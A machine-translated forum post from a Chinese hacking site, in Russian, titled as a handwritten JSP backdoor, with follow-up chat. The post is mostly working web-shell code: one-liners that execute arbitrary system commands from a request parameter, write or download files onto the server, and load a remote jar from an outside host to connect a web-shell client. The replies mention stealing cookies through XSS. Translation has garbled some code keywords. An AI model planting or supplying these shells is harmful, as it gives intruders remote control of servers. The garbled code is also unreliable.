Эта статья является зеркальной статьёй машинного перевода, пожалуйста, нажмите здесь, чтобы перейти к оригиналу.

Вид: 14991|Ответ: 7

[Инструменты безопасности] Рукописный JSP бэкдор

[Скопировать ссылку]
Опубликовано 02.01.2015 18:46:57 | | | |
Переведён из: http://p2j.cn/?p=1627
1. Выполнять системные команды:
Выполнять системные команды без эхо:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
Запрос: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls
Эхо после запуска не будет, что очень удобно для отскоковых оболочков.
Есть отголоски при проверке пароля:
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();        int a = -1;        байт[] b = новый байт[2048];        out.print("<pre>");        while((a=in.read(b))!=-1){ out.println(new String(b));        } out.print("</pre>");    }%>
Запрос: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

2. Закодировать строку и записать её в указанный файл:
1:
<%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes();%>
Запрос: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
Записать в веб-каталог:
<%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes();%>
Запрос: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
2:
<%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
Запрос: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
Записать в веб-каталог:
<%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
Запрос: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
3: Скачайте удалённый файл (если не использовать Apache Io utils, нельзя преобразовать входящий поток в байт, так что он очень длинный...)
<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();    байт[] b = новый байт[1024];    java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();    int a = -1;    в то время как (a = в.read(b)) != -1) { baos.write(b, 0, a);    } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %>
Запрос: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png
Скачать на веб-путь:
<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();    байт[] b = новый байт[1024];    java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();    int a = -1;    в то время как (a = в.read(b)) != -1) { baos.write(b, 0, a);    } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %>
Запрос: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png
Четвёртое: Отражение вызывает внешний банк, совершенство — заднюю дверь
Если вам не нравится, что функция бэкдора слишком слабая и устарела, попробуйте следующее:
<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))}))).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%>
Запрос: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A

Подключение кухонного ножа: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, пароль 023.

Решение:
Используйте отражение, чтобы загрузить внешний jar в текущее приложение, и отражение выполнит результат обработки выхода. request.getParameterMap() содержит все запрашиваемые параметры. Поскольку загрузился внешний jar-пакет, сервер должен иметь доступ к этому jar-адресу.




Предыдущий:Кризис, стоящий за текстовым файлом TXT
Следующий:Шифрование Java MD5, шифрование Base64 и расшифровка Java выполняет исходный код команд системы
Опубликовано 02.01.2015 20:17:30 |
Недавно изучал JSP backdoor?
 Хозяин| Опубликовано 02.01.2015 20:39:44 |
admin опубликовано 2015-1-2 20:17
Недавно изучал JSP backdoor?

Вы когда-нибудь видели JSP в одном предложении? Я нашёл его, не изучал глубоко, не понимал xss, вчера наконец-то получил печенье, и не знаю, как изменить загрузку cookie
Опубликовано 02.01.2015 20:44:40 |
Delver_Si Опубликовано 2015-1-2 20:39
Вы когда-нибудь видели JSP в одном предложении? Я нашёл, не копал глубже, не понял xss, наконец-то вчера получил печенье, не знаю, как модифицировать печенье...

Это не будут мои печенья, украденные с персонализированным файлом подписи,,,

Используйте плагин Firefox HackBar
Опубликовано 02.01.2015 20:48:57 |
Delver_Si Опубликовано 2015-1-2 20:39
Вы когда-нибудь видели JSP в одном предложении? Я нашёл, не копал глубже, не понял xss, наконец-то вчера получил печенье, не знаю, как модифицировать печенье...

Многофункциональный браузер Ghost Brother версии 1.0


鬼哥多功能浏览器v1.0.exe (72 KB, Количество скачиваний: 7, Цена продажи: 1 Grain MB)
 Хозяин| Опубликовано 02.01.2015 20:57:50 |
Админ опубликовано 2015-1-2 20:44
Это не будут мои печенья, украденные с персонализированным файлом подписи,,,

Используйте плагин Firefox HackBar

Вчера свободная дверь была судорожной, я не смог подключиться и не мог войти в магазин Firefox.
 Хозяин| Опубликовано 02.01.2015 20:59:01 |
Админ опубликовано 2015-1-2 20:44
Это не будут мои печенья, украденные с персонализированным файлом подписи,,,

Используйте плагин Firefox HackBar

В DZ нет такой лазейки
Опубликовано 02.01.2015 21:00:22 |
Delver_Si Опубликовано 2015-1-2 20:59
В DZ нет такой лазейки

Не знаю, можешь проверить, не порти мою базу данных   

Мы все используем Tor Browser, чтобы обойти стены

Отказ:
Всё программное обеспечение, программные материалы или статьи, публикуемые Code Farmer Network, предназначены исключительно для учебных и исследовательских целей; Вышеуказанный контент не должен использоваться в коммерческих или незаконных целях, иначе пользователи несут все последствия. Информация на этом сайте взята из Интернета, и споры по авторским правам не имеют отношения к этому сайту. Вы должны полностью удалить вышеуказанный контент с компьютера в течение 24 часов после загрузки. Если вам нравится программа, пожалуйста, поддержите подлинное программное обеспечение, купите регистрацию и получите лучшие подлинные услуги. Если есть нарушение, пожалуйста, свяжитесь с нами по электронной почте.

Mail To:help@itsvse.com